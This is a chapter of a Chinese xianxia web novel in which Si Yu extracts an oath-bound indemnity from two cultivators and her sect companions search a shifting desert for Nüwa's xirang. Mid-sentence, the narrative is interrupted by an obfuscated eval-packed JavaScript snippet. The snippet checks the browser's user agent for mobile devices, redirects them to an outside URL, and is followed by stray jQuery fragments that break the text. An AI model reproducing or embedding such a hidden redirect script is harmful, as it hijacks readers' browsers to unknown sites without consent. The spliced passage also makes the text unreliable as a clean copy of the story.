“两千万!上品灵石?!”女修瞪大眼睛,不敢相信此人是怎么用三十六度的嘴说出怎么冰冷的话的。
“嗯。”司渔笑眯眯点头。
女修张嘴就想说,要钱没有,要命一条,然而看见司渔那狐狸一般的眯眯眼笑容,她蔫了。
如果讨价还价的话,下一次咬牙答应的时候,这赔款就该涨到三千万了吧……
司渔表示,非也非也,下一次咱直接开口五千万,要是实在赔不起,她也不介意他们一家卖身给宗门当打工牛马。
嗯,望镜宗不缺人,但非常缺打工牛马。
女修牙都要咬碎了,狠心答应:“好,两千万就两千万,不过我身上没有这么多,等出去后在城里绣春阁,我们在那里等你们。”
司渔露出了好可惜的表情,她扭头看向南逸诗,道:“那师姐,接下来就交给你了。”
二人丝滑换位,南逸诗双手结印,脚下阵法瞬间落成,金光之中,她说:“发灵誓吧,如若违约,身死道消,魂灵尽散。”
女修和男修面面相觑,最后是女修先引了一滴血落入阵中,而后男修紧跟,灵誓立下后,金光没入两人额间,代表约束已成。
立誓没有怨言地割地赔款,还附加绝对不会请外援,打了小的来了老祖宗的算账行为。
南逸诗满意地解开二人的束缚,刚恢复自由,女修和男修就脸色很臭地给玉佩输入灵力,直接退出了。
“呦~”见到两人如此果断地退出,司渔嘲笑,“居然直接就离开,连任务都不打算完成。”
萧白水:“应该是一朝被蛇咬,十年怕井绳了。”
司渔叉腰笑:“那我可真是一条毒蛇!”
萧白水:“……”
南逸诗:“……”
你这家伙还挺得意的。
两个被坑的修士离开之后,司渔将挡在前面的大石头给移开,便见到了在外面站着的叶成月等人。
司渔愣了愣,之前遍寻不见的人,现在倒是一下子见了个全。
叶成月抬手弹了一张笑口常开符过去,调侃:“哟~咱司小渔比从前快不少嘛。”
司渔做事慢悠悠的,每一步都走得很稳很扎实,但叶成月是个急性子,他们一起合作的时候,叶成月没少等司某。
“比不上你有耐心,能在门外守那么久不进来。”司渔伸手接住符纸,低头一瞧,笑了。
符纸是真符纸,但上面画的却不是符文,而是一个笑开怀的简笔画小人,叶某天天画符纸,画工着实不错,不过是几根简易线条连起的小人,却十分传神。
画的是Q版司渔,这还是叶成月小时候发明的,司渔路过还给取了个名字。
“这是新研究的吗?就叫笑口常开符吧!”
“为什么?”
“因为我一见到就想笑啊。”
“……”
那个时候叶某画小人画比较粗糙,司渔路过说的这一嘴,其实就纯粹是在嘲笑某人,直到叶成月的画工精进,笑口常开符总算不带一点嘲笑意味了。
怀里的猫将司渔手里的符纸拿过来左右翻了翻,也许是因为猫爪子在搞破坏这方面实在是天赋异禀,那符纸被它玩着玩着,不小心给撕了。
听见撕拉的声音,司渔下意识低头,下一秒,一团火焰呲一声窜起,猫被吓了一跳,着火的符纸被它扔了出去。
叶成月哈哈大笑,猫惊慌地查看自己宝贵的毛毛,司渔嗤了一声,说了一句幼稚。
大师姐在司渔后面,萧白水落后半步跟着她,望镜宗这次出差的人中,除了万俟锦光和鄄未觉,几人都直到萧白水是他们的盟友,见他跟着也不觉惊讶。
鄄未觉不在意这些,倒是万俟锦光问了一嘴,大师姐说是合作伙伴,司渔一脸怪笑地将万俟师姐拉到一边。
“万俟师姐,我跟你讲一个秘密哦~”
“嗯,说说看。”
“他和叶成月是结了契的道侣哦~”
“嘿,有点意思。”
“啊啊啊!都说了是被迫的被迫的,我们一定会找出解契的办法的!”这是气急败坏的叶成月。
“她就是爱在我们面前讲这些欠揍的话。”这是已经习以为常后,波澜不惊的萧白水。
嗯,其实是没招了。
司渔嚣张地哈哈哈:“那我就祝你们早日成功。”
叶成月气得想打这个不当人的渔,被萧白水拦住了,他说:“不用灵力的话,你是打不过她的。”
萧白水想了想,又加了一句:“我也打不过。”
叶成月:“……”
沉默,震耳欲聋,所以司某人原来这么强的吗?
笑话,司渔可是剑修,虽然看起来并不明显,但她确实是根正苗红的剑修。
陆廿偷听到两人的对话,默默跟紧司渔,心中感叹,原来她们小渔才是那条粗壮的金大腿啊!
在有大师兄和大师姐坐镇的时候,心情总是无比轻松,因为不用自己去关注着那些随时随地可能出现的危险。
大部分能应付的危险,大师姐和大师兄很容易就能应付,他们这些小辈出手也很清楚地2知道有人在给自己兜底,所以能够毫无顾忌。
如果遇见的是无法应付的……他们认怂一向很快,打不过就跑一点也不丢脸。
保命的事,不磕碜。
几人集合之后的日常过得无比轻松,打打怪、吵吵架、吃吃饭,别人正在水深火热,上刀上山下火海,这群人却像是风景党。
区别就像是同一个游戏里面的战斗玩法和家园玩法,氛围完全不一样。
不过他们玩法不同,其实主要还是目标不同,他们致力于在这里找到传说中的息壤,顺便拿积分,而那些人就是纯为了拿积分。
因此,他们这队人和其他人产生冲突其实是极少的,除非和红孩儿这个熊孩子,以及那两个二话不说就干架的熊家长那样先招惹他们。
这些人无一例外,全被司渔要求签了割地赔款的不平等条约,大师姐的灵誓阵都布得极顺手了,已经不用司渔喊就能丝滑接上。
陆廿一脸学到了的惊叹模样,将司渔的谈判金句记在小本本上,打算以后自己也实践一下。
司渔曾拜读过这本金句小本,看完后直接沉默了,不知道为什么,说的时候没什么感觉,但看文字却怎么看怎么觉得油腻,感觉脚趾接了一个大工程。
“有点污染眼睛,陆廿写下的文字是过了油吗?我怎么看着有点腻?”
猫思考了一下,认真道:“可能是因为你有文字羞耻症吧,我就不觉得啊。”
司渔:“……”
她为什么要问一只曾经沉迷霸总文学,甚至到了神经地步的猫这种问题?莫不是疯了吧。
司渔默默将小本合上,并真诚建议:“史官最好还是如实记载,不要杜撰润色。”
天知道为什么一句很普通的“你不要讨价还价,这里又不是菜市场。”,在陆廿的小本里就变成了“我给过你机会了,不要挑战我的耐心和底线,男人。”
这是杜撰过了头的,还有一些仅仅
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17324337|179999||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
改动一两个字,或者是调换一下语序的,拜读起来却依然十分一言难尽,汉字文化果然是博大精深。
如果是在科技飞速发展二十一世纪,司渔铁定是要建议陆廿去照找CT,看看脑子里面的语言分区是不是被什么东西给损坏了一部分。
可惜修仙界没有CT机,队伍里面也没有治愈系能给她看看脑子。
被用奇怪的话建议了的陆廿表情愣愣的,随便敷衍地答了两句:“嗯嗯,好的。”
等司渔离开之后,陆廿翻开小本看了一眼:“咦?我写的文章怎么会在司渔手里?”
嗯,是同人文,而且是严重OOC的同人文,纯恶搞。
陆廿合上小本,默默背上了杜撰润色的不称职史官的黑锅,误会就误会吧,至少这比被发现自己在写霸道小渔同人本要好一些。
这个任务场地的环境有些奇怪,猫偶尔能感觉到这里的空间法则和时间法则是扭曲的,不过每次都是一闪而过。
在一次混乱中背卷进灵力乱流,结果睁眼见到的是大沙漠时,司渔猛然明白什么叫做扭曲的法则。
这个任务场地存在随机刷新的乱流,这玩意儿会将一些倒霉蛋给卷进去,来到另一个时间节点里任务场地的模样。
这和雾城中如全息游戏般体验过去发生的事情不同,这里确实将人送到了另一个时间点,虽然只限制在这块地界,但能突破时间和空间的限制就已经非常惊人了。
发现异常的不止司渔,其他人或多或少都察觉出了一点异样,司渔和萧白水对视一眼,又纷纷侧头避开对方的视线。
直到再次进入乱流,二人才意识到之前掉进冰宫殿时的灵力混乱并不是对方的锅,但当时双方都认为是对方在捣乱,并且都没给好脸色,于是这事便打成平手,谁也不能再提。
不过……
这种时间和空间的无序混乱,真的很难不让人想到女娲补天。
补天之前,天空破裂,洪水不同常理从天空的破洞处倾泻,太阳不出,月亮不见,生灵逃窜,世界处于无序混乱之中。
补天之后,天光乍亮,一切规则和秩序回归。
他们这次要找的,可就是女娲的息壤。
原本司渔是不信这里能找到息壤的,但被卷进乱流来到这片沙漠之后,她却觉得传言也不一定就不能信。
沙漠,一望无际的黄色沙海,目光所及之处不见绿洲,热气从脚底板蒸到头顶,阳光刺眼,闭上眼再睁开,地面上出现一团一团的光斑。
眼花了。
陆廿将手抬起来在眼眶上方架了起来,最先开口:“好热啊。”
司渔看了一眼她,打了一个响指,一个水球将她包在里面,隔绝了周围的酷热。
万俟锦光好奇地戳了戳司渔的水球,说:“奇怪,她不是金丹了吗?按理来说应该是冷热不侵了吧。”
司渔说:“她是狐狸,毛多。”
万俟锦光作思考状:“嗯,是这个理。”
她朝司渔伸出手,做出讨要的架势,“来,司小渔,给我也来一套。”
鄄未觉疑惑:“不是冷热不侵吗?”
万俟锦光理所当然地摊手:“我喜欢,你管我。”
司渔默默搓水球,俨然成了一个冷漠无情的搓水球机器。
整个队伍很整齐,不管是需要的还是不需要的,大家都用上了司渔出品的隔热水球。
沙漠里找息壤,就纯硬找,司渔刨了沙、问了仙人掌,几人硬生生找到乱流再次出现,睁开眼,沙漠变雪原。